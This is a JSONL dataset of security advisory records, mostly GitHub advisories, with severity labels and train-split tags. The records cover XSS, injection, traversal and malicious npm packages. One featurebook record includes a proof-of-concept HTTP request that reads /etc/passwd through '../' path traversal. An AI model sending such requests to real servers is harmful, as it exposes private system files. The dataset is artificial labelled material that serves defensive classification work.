-{"id": "04a5e5110ddf8f4d89d5", "text": "discordi.js is malware\n\nThe `discordi.js` package is malware that attempts to discover and exfiltrate a user's [Discord](https://discordapp.com/) credentials, sending them to pastebin.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nDo not install / use this module. It has been unpublished from the npm registry but may exist in some caches. Any users that logged into Discord using this library will need to change their credentials.", "text_raw": "discordi.js is malware\n\n[Severity: HIGH]\n\nThe `discordi.js` package is malware that attempts to discover and exfiltrate a user's [Discord](https://discordapp.com/) credentials, sending them to pastebin.\n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nDo not install / use this module. It has been unpublished from the npm registry but may exist in some caches. Any users that logged into Discord using this library will need to change their credentials.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "560a59479ea26b370b97", "text": "ZipSlip in org.apache.storm:storm-core\n\nApache Storm version 1.0.6 and earlier, 1.2.1 and earlier, and version 1.1.2 and earlier expose an arbitrary file write vulnerability, that can be achieved using a specially crafted zip archive (affects other archives as well, bzip2, tar, xz, war, cpio, 7z), that holds path traversal filenames. So when the filename gets concatenated to the target extraction directory, the final path ends up outside of the target folder.", "text_raw": "ZipSlip in org.apache.storm:storm-core\n\n[Severity: MEDIUM]\n\nApache Storm version 1.0.6 and earlier, 1.2.1 and earlier, and version 1.1.2 and earlier expose an arbitrary file write vulnerability, that can be achieved using a specially crafted zip archive (affects other archives as well, bzip2, tar, xz, war, cpio, 7z), that holds path traversal filenames. So when the filename gets concatenated to the target extraction directory, the final path ends up outside of the target folder.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "6196f73bf49e2fadbbfd", "text": "Directory traversal in Eclipse Mojarra\n\nDirectory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter.", "text_raw": "Directory traversal in Eclipse Mojarra\n\n[Severity: HIGH]\n\nDirectory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "9a86f8dc75deb928313e", "text": "SQL Injection in sequelize\n\nAffected versions of `sequelize` use MySQL's backslash-based escape syntax when connecting to SQLite, despite the fact that SQLite uses PostgreSQL's escape syntax, which can result in a SQL Injection vulnerability.\n\n## Recommendation\n\nUpdate to version 1.7.0-alpha3 or later.", "text_raw": "SQL Injection in sequelize\n\n[Severity: MEDIUM]\n\nAffected versions of `sequelize` use MySQL's backslash-based escape syntax when connecting to SQLite, despite the fact that SQLite uses PostgreSQL's escape syntax, which can result in a SQL Injection vulnerability.\n\n\n## Recommendation\n\nUpdate to version 1.7.0-alpha3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "75755eda5595ec3c7ae3", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Log Disclosure", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Log Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "ebe899b602e09f108ba0", "text": "Command Injection in addax\n\nVersions of `addax` prior to 1.1.0 are vulnerable to Command Injection. The package does not validate user input on the `presignPath` function which receives input directly from the API endpoint. Exploiting the vulnerability requires authentication. This may allow attackers to run arbitrary commands in the system.\n\n## Recommendation\n\nUpgrade to version 1.1.0 or later.", "text_raw": "Command Injection in addax\n\n[Severity: HIGH]\n\nVersions of `addax` prior to 1.1.0 are vulnerable to Command Injection. The package does not validate user input on the `presignPath` function which receives input directly from the API endpoint. Exploiting the vulnerability requires authentication. This may allow attackers to run arbitrary commands in the system.\n\n\n## Recommendation\n\nUpgrade to version 1.1.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "f591703a9eac83679243", "text": "Polymorphic Typing issue in FasterXML jackson-databind\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10, 2.8.11.5, and 2.6.7.3. It is related to `com.zaxxer.hikari.HikariConfig`.", "text_raw": "Polymorphic Typing issue in FasterXML jackson-databind\n\n[Severity: CRITICAL]\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10, 2.8.11.5, and 2.6.7.3. It is related to `com.zaxxer.hikari.HikariConfig`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-09-23", "split": "train"}
-{"id": "3f0a04c2f5648af0b0c5", "text": "ECOA Building Automation System Cross-Site Request Forgery", "text_raw": "ECOA Building Automation System Cross-Site Request Forgery\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-09-08", "split": "train"}
-{"id": "c429dfcfea0b531dccb1", "text": "Malicious Package in jsmsha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in jsmsha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "f832a6a819d085af8b07", "text": "Injection in MockServer\n\nMockServer is open source software which enables easy mocking of any system you integrate with via HTTP or HTTPS. An attacker that can trick a victim into visiting a malicious site while running MockServer locally, will be able to run arbitrary code on the MockServer machine. With an overly broad default CORS configuration MockServer allows any site to send cross-site requests. Additionally, MockServer allows you to create dynamic expectations using Javascript or Velocity templates. Both engines may allow an attacker to execute arbitrary code on-behalf of MockServer. By combining these two issues (Overly broad CORS configuration + Script injection), an attacker could serve a malicious page so that if a developer running MockServer visits it, they will get compromised. For more details including a PoC see the referenced GHSL-2021-059.", "text_raw": "Injection in MockServer\n\n[Severity: MEDIUM]\n\nMockServer is open source software which enables easy mocking of any system you integrate with via HTTP or HTTPS. An attacker that can trick a victim into visiting a malicious site while running MockServer locally, will be able to run arbitrary code on the MockServer machine. With an overly broad default CORS configuration MockServer allows any site to send cross-site requests. Additionally, MockServer allows you to create dynamic expectations using Javascript or Velocity templates. Both engines may allow an attacker to execute arbitrary code on-behalf of MockServer. By combining these two issues (Overly broad CORS configuration + Script injection), an attacker could serve a malicious page so that if a developer running MockServer visits it, they will get compromised. For more details including a PoC see the referenced GHSL-2021-059.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "5971543ca0595eb7c71a", "text": "XSS in search engine\n\nIn the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the search engine.", "text_raw": "XSS in search engine\n\n[Severity: MEDIUM]\n\nIn the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the search engine.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "4e21ebad2ead2a9273bf", "text": "Improper Input Validation\n\nA vulnerability was found in OVN Kubernetes in versions up to and including 0.3.0 where the Egress Firewall does not reliably apply firewall rules when there is multiple DNS rules. It could lead to potentially lose of confidentiality, integrity or availability of a service", "text_raw": "Improper Input Validation\n\n[Severity: MEDIUM]\n\nA vulnerability was found in OVN Kubernetes in versions up to and including 0.3.0 where the Egress Firewall does not reliably apply firewall rules when there is multiple DNS rules. It could lead to potentially lose of confidentiality, integrity or availability of a service", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "b69ddccdffb1f7ff32fe", "text": "Cross-Site Scripting in buttle\n\nAll versions of `buttle` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in buttle\n\n[Severity: HIGH]\n\nAll versions of `buttle` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-08", "split": "train"}
-{"id": "5502bd4d25498405e954", "text": "Array size is not checked in sized-chunks\n\nAn issue was discovered in the sized-chunks crate through 0.6.2 for Rust. In the Chunk implementation, the array size is not checked when constructed with unit().", "text_raw": "Array size is not checked in sized-chunks\n\n[Severity: HIGH]\n\nAn issue was discovered in the sized-chunks crate through 0.6.2 for Rust. In the Chunk implementation, the array size is not checked when constructed with unit().", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "435f1d318f003a593006", "text": "Cross-site Scripting in LaraCMS\n\nLaraCMS contains a stored cross-site scripting (XSS) vulnerability which allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the content editor.", "text_raw": "Cross-site Scripting in LaraCMS\n\n[Severity: MEDIUM]\n\nLaraCMS contains a stored cross-site scripting (XSS) vulnerability which allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the content editor.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-04", "split": "train"}
-{"id": "a82e99a6d48708a196bc", "text": "Command Injection in ps-visitor\n\nThis affects all versions up to and including version 0.0.2 of package ps-visitor. If attacker-controlled user input is given to the kill function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "text_raw": "Command Injection in ps-visitor\n\n[Severity: CRITICAL]\n\nThis affects all versions up to and including version 0.0.2 of package ps-visitor. If attacker-controlled user input is given to the kill function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "ff4d701576f38d13554c", "text": "Stack consumption in trust-dns-server\n\nThere's a stack overflow leading to a crash and potential DOS when processing additional records for return of MX or SRV record types from the server. This is only possible when a zone is configured with a null target for MX or SRV records. Prior to 0.16.0 the additional record processing was not supported by trust-dns-server. There Are no known issues with upgrading from 0.16 or 0.17 to 0.18.1. The remidy should be to upgrade to 0.18.1. If unable to do so, MX, SRV or other record types with a target to the null type, should be avoided.", "text_raw": "Stack consumption in trust-dns-server\n\n[Severity: HIGH]\n\nThere's a stack overflow leading to a crash and potential DOS when processing additional records for return of MX or SRV record types from the server. This is only possible when a zone is configured with a null target for MX or SRV records. Prior to 0.16.0 the additional record processing was not supported by trust-dns-server. There Are no known issues with upgrading from 0.16 or 0.17 to 0.18.1. The remidy should be to upgrade to 0.18.1. If unable to do so, MX, SRV or other record types with a target to the null type, should be avoided.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2be35ff11d092f3693db", "text": "Data races in async-coap\n\nAn issue was discovered in the async-coap crate through 2020-12-08 for Rust. \nAffected versions of this crate implement Send/Sync for `ArcGuard<RC, T>` with no trait bounds on `RC`. This allows users to send `RC: !Send` to other threads and also allows users to concurrently access `Rc: !Sync` from multiple threads.\n\nThis can result in memory corruption from data race or other undefined behavior caused by sending `T: !Send` to other threads (e.g. dropping `MutexGuard<T>` in another thread that didn't lock its mutex).", "text_raw": "Data races in async-coap\n\n[Severity: HIGH]\n\nAn issue was discovered in the async-coap crate through 2020-12-08 for Rust. \nAffected versions of this crate implement Send/Sync for `ArcGuard<RC, T>` with no trait bounds on `RC`. This allows users to send `RC: !Send` to other threads and also allows users to concurrently access `Rc: !Sync` from multiple threads.\n\nThis can result in memory corruption from data race or other undefined behavior caused by sending `T: !Send` to other threads (e.g. dropping `MutexGuard<T>` in another thread that didn't lock its mutex).\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3ee8503e4254c2e3bcc7", "text": "Cross Site Scripting (XSS) vulnerability in easymon\n\neasymon version 1.4 and earlier contains a Cross Site Scripting (XSS) vulnerability in Endpoint where monitoring is mounted that can result in Reflected XSS that affects Firefox. Can be used to steal cookies, depending on the cookie settings.. This attack appear to be exploitable via The victim must click on a crafted URL that contains the XSS payload. This vulnerability appears to have been fixed in 1.4.1 and later.", "text_raw": "Cross Site Scripting (XSS) vulnerability in easymon\n\n[Severity: MEDIUM]\n\neasymon version 1.4 and earlier contains a Cross Site Scripting (XSS) vulnerability in Endpoint where monitoring is mounted that can result in Reflected XSS that affects Firefox. Can be used to steal cookies, depending on the cookie settings.. This attack appear to be exploitable via The victim must click on a crafted URL that contains the XSS payload. This vulnerability appears to have been fixed in 1.4.1 and later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "6c38580bc714d4d4e997", "text": "Regular Expression Denial of Service in flask-restx\n\nFlask RESTX contains a regular expression that is vulnerable to [ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) (Regular Expression Denial of Service) in `email_regex`.", "text_raw": "Regular Expression Denial of Service in flask-restx\n\n[Severity: HIGH]\n\nFlask RESTX contains a regular expression that is vulnerable to [ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) (Regular Expression Denial of Service) in `email_regex`.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "9b43cb069b65a27596e8", "text": "Cross-site scripting (XSS) vulnerability in the password reset endpoint\n\n### Impact\nThe password reset endpoint served via Synapse was vulnerable to cross-site scripting (XSS) attacks. The impact depends on the configuration of the domain that Synapse is deployed on, but may allow access to cookies and other browser data, CSRF vulnerabilities, and access to other resources served on the same domain or parent domains.\n\n### Patches\nThis is fixed in #9200.\n\n### Workarounds\nDepending on the needs and configuration of the homeserver a few options are available:\n\n1. Password resets can be disabled by delegating email to a third-party service (via the `account_threepid_delegates.email` setting) or disabling email (by not configuring the `email` setting).\n\n2. If the homeserver is not configured to use passwords (via the `password_config.enabled` setting) then the affected endpoint can be blocked at a reverse proxy:\n\n* `/_synapse/client/password_reset/email/submit_token`\n\n3. The `password_reset_confirmation.html` template can be overridden with a custom template that manually escapes the variables using [JInja2's `escape` filter](https://jinja.palletsprojects.com/en/2.11.x/templates/#escape). See the `email.template_dir` setting.", "text_raw": "Cross-site scripting (XSS) vulnerability in the password reset endpoint\n\n[Severity: MEDIUM]\n\n### Impact\nThe password reset endpoint served via Synapse was vulnerable to cross-site scripting (XSS) attacks. The impact depends on the configuration of the domain that Synapse is deployed on, but may allow access to cookies and other browser data, CSRF vulnerabilities, and access to other resources served on the same domain or parent domains.\n\n### Patches\nThis is fixed in #9200.\n\n### Workarounds\nDepending on the needs and configuration of the homeserver a few options are available:\n\n1. Password resets can be disabled by delegating email to a third-party service (via the `account_threepid_delegates.email` setting) or disabling email (by not configuring the `email` setting).\n\n2. If the homeserver is not configured to use passwords (via the `password_config.enabled` setting) then the affected endpoint can be blocked at a reverse proxy:\n\n    * `/_synapse/client/password_reset/email/submit_token`\n\n3. The `password_reset_confirmation.html` template can be overridden with a custom template that manually escapes the variables using [JInja2's `escape` filter](https://jinja.palletsprojects.com/en/2.11.x/templates/#escape). See the `email.template_dir` setting.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-26", "split": "train"}
-{"id": "dc6bded94708d953028a", "text": "Denial of service attack via .well-known lookups\n\n### Impact\nA malicious homeserver could redirect requests to their .well-known file to a large file. This can lead to a denial of service attack where homeservers will consume significantly more resources when requesting the .well-known file of a malicious homeserver.\n\nThis affects any server which accepts federation requests from untrusted servers.\n\n### Patches\nIssue is resolved by #8950. A bug not affecting the security aspects of this was fixed in #9108.\n\n### Workarounds\nThe `federation_domain_whitelist` setting can be used to restrict the homeservers communicated with over federation.", "text_raw": "Denial of service attack via .well-known lookups\n\n[Severity: MEDIUM]\n\n### Impact\nA malicious homeserver could redirect requests to their .well-known file to a large file. This can lead to a denial of service attack where homeservers will consume significantly more resources when requesting the .well-known file of a malicious homeserver.\n\nThis affects any server which accepts federation requests from untrusted servers.\n\n### Patches\nIssue is resolved by #8950. A bug not affecting the security aspects of this was fixed in #9108.\n\n### Workarounds\nThe `federation_domain_whitelist` setting can be used to restrict the homeservers communicated with over federation.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-01", "split": "train"}
-{"id": "4f6d4adc10675af71d9a", "text": "Croogo 2.0.0 Arbitrary PHP Code Execution Exploit", "text_raw": "Croogo 2.0.0 Arbitrary PHP Code Execution Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-10-12", "split": "train"}
-{"id": "547cb3f2ac0e00a43570", "text": "Server-Side Request Forgery and Inclusion of Functionality from Untrusted Control Sphere in jsreport\n\nAn unintended require and server-side request forgery vulnerabilities in jsreport version 2.5.0 and earlier allow attackers to execute arbitrary code.", "text_raw": "Server-Side Request Forgery and Inclusion of Functionality from Untrusted Control Sphere in jsreport\n\n[Severity: HIGH]\n\nAn unintended require and server-side request forgery vulnerabilities in jsreport version 2.5.0 and earlier allow attackers to execute arbitrary code.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "fc2755c312acffa230f8", "text": "Denial of service in css-what\n\nThe css-what package 4.0.0 through 5.0.0 for Node.js does not ensure that attribute parsing has Linear Time Complexity relative to the size of the input.", "text_raw": "Denial of service in css-what\n\n[Severity: HIGH]\n\nThe css-what package 4.0.0 through 5.0.0 for Node.js does not ensure that attribute parsing has Linear Time Complexity relative to the size of the input.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-07", "split": "train"}
-{"id": "260d4a778d37d5494b0d", "text": "SOYAL 701Client 9.0.1 Insecure Permissions", "text_raw": "SOYAL 701Client 9.0.1 Insecure Permissions\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "395841922b855309623a", "text": "Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities", "text_raw": "Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-07-10", "split": "train"}
-{"id": "dcd5b478a59942db83f5", "text": "Withdrawn, accidental duplicate publish.\n\nMultiple directory traversal vulnerabilities in server.rb in Sprockets before 2.0.5, 2.1.x before 2.1.4, 2.2.x before 2.2.3, 2.3.x before 2.3.3, 2.4.x before 2.4.6, 2.5.x before 2.5.1, 2.6.x and 2.7.x before 2.7.1, 2.8.x before 2.8.3, 2.9.x before 2.9.4, 2.10.x before 2.10.2, 2.11.x before 2.11.3, 2.12.x before 2.12.3, and 3.x before 3.0.0.beta.3, as distributed with Ruby on Rails 3.x and 4.x, allow remote attackers to determine the existence of files outside the application root via a ../ (dot dot slash) sequence with (1) double slashes or (2) URL encoding.", "text_raw": "Moderate severity vulnerability that affects sprockets\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\n\nMultiple directory traversal vulnerabilities in server.rb in Sprockets before 2.0.5, 2.1.x before 2.1.4, 2.2.x before 2.2.3, 2.3.x before 2.3.3, 2.4.x before 2.4.6, 2.5.x before 2.5.1, 2.6.x and 2.7.x before 2.7.1, 2.8.x before 2.8.3, 2.9.x before 2.9.4, 2.10.x before 2.10.2, 2.11.x before 2.11.3, 2.12.x before 2.12.3, and 3.x before 3.0.0.beta.3, as distributed with Ruby on Rails 3.x and 4.x, allow remote attackers to determine the existence of files outside the application root via a ../ (dot dot slash) sequence with (1) double slashes or (2) URL encoding.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "d55226f72a24c8f48607", "text": "Buffer overflow in deprecated USB HALs and stack overflow in USB enumeration\n\n### Impact\n1) If an application is making use of the deprecated kit protocol HALs as the communication channel to the target device an attacker can masquerade as a device and return malformed packets of arbitrary length which the protocol stack will write to the stack. HALs intended for production use are unaffected (I2C, SWI, & SPI) as well as the hidapi HAL (hal_all_platforms_kit_hidapi.c).\n\n2) The hidapi HAL can be made to overrun the application stack by attaching more than 10 (real or virtual) devices likely resulting in an application crash as this does not allow arbitrary data to be written to the stack.\n\n### Patches\nUSB kit enumeration has been patched in v3.2.3 for the hidapi HAL (hal_all_platforms_kit_hidapi.c).\n\n### Removal of deprecated HALs\nDeprecated usb kit HALs have been removed in v3.2.3.\n\n### Workarounds\nThis vulnerability is limited to users of the kit protocol which is used with Microchip kits and kit firmware to bridge communication from USB-HID to I2C or SWI. It is not expected that kits would be used in an production environment. This is an optional component for users as well so they can always compile the library without the usb support option.\n\n### Special python packaging notes\nThe python package for cryptoauthlib uses date codes for identifying versions. The patched version for python packages is 20200912\n\n### References\nPlease see [Microchip PSIRT](https://www.microchip.com/design-centers/embedded-security/how-to-report-potential-product-security-vulnerabilities) for Microchip's security policy and reporting procedures\n\n### Credits\nSpecial thanks to Ruben Santamarta of [IOActive](https://blogs.ioactive.com/) for reporting", "text_raw": "Buffer overflow in deprecated USB HALs and stack overflow in USB enumeration\n\n[Severity: LOW]\n\n### Impact\n1) If an application is making use of the deprecated kit protocol HALs as the communication channel to the target device an attacker can masquerade as a device and return malformed packets of arbitrary length which the protocol stack will write to the stack. HALs intended for production use are unaffected (I2C, SWI, & SPI) as well as the hidapi HAL (hal_all_platforms_kit_hidapi.c).\n\n2) The hidapi HAL can be made to overrun the application stack by attaching more than 10 (real or virtual) devices likely resulting in an application crash as this does not allow arbitrary data to be written to the stack.\n\n### Patches\nUSB kit enumeration has been patched in v3.2.3 for the hidapi HAL (hal_all_platforms_kit_hidapi.c).\n\n### Removal of deprecated HALs\nDeprecated usb kit HALs have been removed in v3.2.3.\n\n### Workarounds\nThis vulnerability is limited to users of the kit protocol which is used with Microchip kits and kit firmware to bridge communication from USB-HID to I2C or SWI. It is not expected that kits would be used in an production environment. This is an optional component for users as well so they can always compile the library without the usb support option.\n\n### Special python packaging notes\nThe python package for cryptoauthlib uses date codes for identifying versions. The patched version for python packages is 20200912\n\n### References\nPlease see [Microchip PSIRT](https://www.microchip.com/design-centers/embedded-security/how-to-report-potential-product-security-vulnerabilities) for Microchip's security policy and reporting procedures\n\n### Credits\nSpecial thanks to Ruben Santamarta of [IOActive](https://blogs.ioactive.com/) for reporting", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-10-02", "split": "train"}
-{"id": "9b87f9d3fc75fe278437", "text": "After logging into the portal, the logout jsp page redirects the browser back to the login page after. It is feasible for malicious users to redirect the browser to an unintended web page in Apache jUDDI 3.1.2, 3.1.3, 3.1.4, and 3.1.5 when utilizing the portlets based user interface also known as 'Pluto', 'jUDDI Portal', 'UDDI Portal' or 'uddi-console'. User session data, credentials, and auth tokens are cleared before the redirect.", "text_raw": "Moderate severity vulnerability that affects org.apache.juddi:juddi-client\n\n[Severity: MEDIUM]\n\nAfter logging into the portal, the logout jsp page redirects the browser back to the login page after. It is feasible for malicious users to redirect the browser to an unintended web page in Apache jUDDI 3.1.2, 3.1.3, 3.1.4, and 3.1.5 when utilizing the portlets based user interface also known as 'Pluto', 'jUDDI Portal', 'UDDI Portal' or 'uddi-console'. User session data, credentials, and auth tokens are cleared before the redirect.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "b60dec8301fcb6017b76", "text": "Malicious Package in superhappyfuntime\n\nAll versions of `superhappyfuntime` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in superhappyfuntime\n\n[Severity: CRITICAL]\n\nAll versions of `superhappyfuntime` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "701d90b76271bbfa1d5f", "text": "Cross-Site Scripting in bpmn-js-properties-panel\n\nVersions of `bpmn-js-properties-panel` prior to 0.31.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize input in specially configured diagrams, which may allow attackers to inject arbitrary JavaScript in the embedding website.\n\n## Recommendation\n\nUpgrade to version 0.31.0 or later.", "text_raw": "Cross-Site Scripting in bpmn-js-properties-panel\n\n[Severity: HIGH]\n\nVersions of `bpmn-js-properties-panel` prior to 0.31.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize input in specially configured diagrams, which may allow attackers to inject arbitrary JavaScript in the embedding website.\n\n\n## Recommendation\n\nUpgrade to version 0.31.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "2510e20902b2bf80b163", "text": "Directory Traversal in featurebook\n\nAffected versions of `featurebook` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nThe `featurebook` package is not intended to be run in production code nor to be exposed to an untrusted network.\n\n## Proof of Concept\n```\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo direct patch is currently available.\n\nAt this time, the best mitigation is to ensure that `featurebook` is not running in production or exposed to an untrusted network.", "text_raw": "Directory Traversal in featurebook\n\n[Severity: MEDIUM]\n\nAffected versions of `featurebook` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nThe `featurebook` package is not intended to be run in production code nor to be exposed to an untrusted network.\n\n\n## Proof of Concept\n```\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo direct patch is currently available.\n\nAt this time, the best mitigation is to ensure that `featurebook` is not running in production or exposed to an untrusted network.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "2d83aec8f694401ce187", "text": "Trend Micro Apex One and OfficeScan Remote Code Execution Vulnerability\n\nAffected: Trend Micro Apex One and OfficeScan\n\nTrend Micro Apex One and OfficeScan contain an unspecified vulnerability within a migration tool component that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Trend Micro Apex One and OfficeScan Remote Code Execution Vulnerability\n\nAffected: Trend Micro Apex One and OfficeScan\n\nTrend Micro Apex One and OfficeScan contain an unspecified vulnerability within a migration tool component that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "704fbeee168649d1f4f4", "text": "Cross-site Scripting in React Draft Wysiwyg\n\nreact-draft-wysiwyg (aka React Draft Wysiwyg) before 1.14.6 allows a `javascript:` URi in a Link Target of the link decorator in `decorators/Link/index.js` when a draft is shared across users, leading to XSS.", "text_raw": "Cross-site Scripting in React Draft Wysiwyg\n\n[Severity: MEDIUM]\n\nreact-draft-wysiwyg (aka React Draft Wysiwyg) before 1.14.6 allows a `javascript:` URi in a Link Target of the link decorator in `decorators/Link/index.js` when a draft is shared across users, leading to XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "0d13495cf15e3a2979b4", "text": "OS Command Injection in async-git\n\nThe async-git package before 1.13.2 for Node.js allows OS Command Injection via shell metacharacters, as demonstrated by git.reset and git.tag. This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input. Ensure to sanitize untrusted user input before passing it to one of the vulnerable functions as a workaround or update async-git to version 1.13.1.", "text_raw": "OS Command Injection in async-git\n\n[Severity: CRITICAL]\n\nThe async-git package before 1.13.2 for Node.js allows OS Command Injection via shell metacharacters, as demonstrated by git.reset and git.tag. This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input. Ensure to sanitize untrusted user input before passing it to one of the vulnerable functions as a workaround or update async-git to version 1.13.1.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
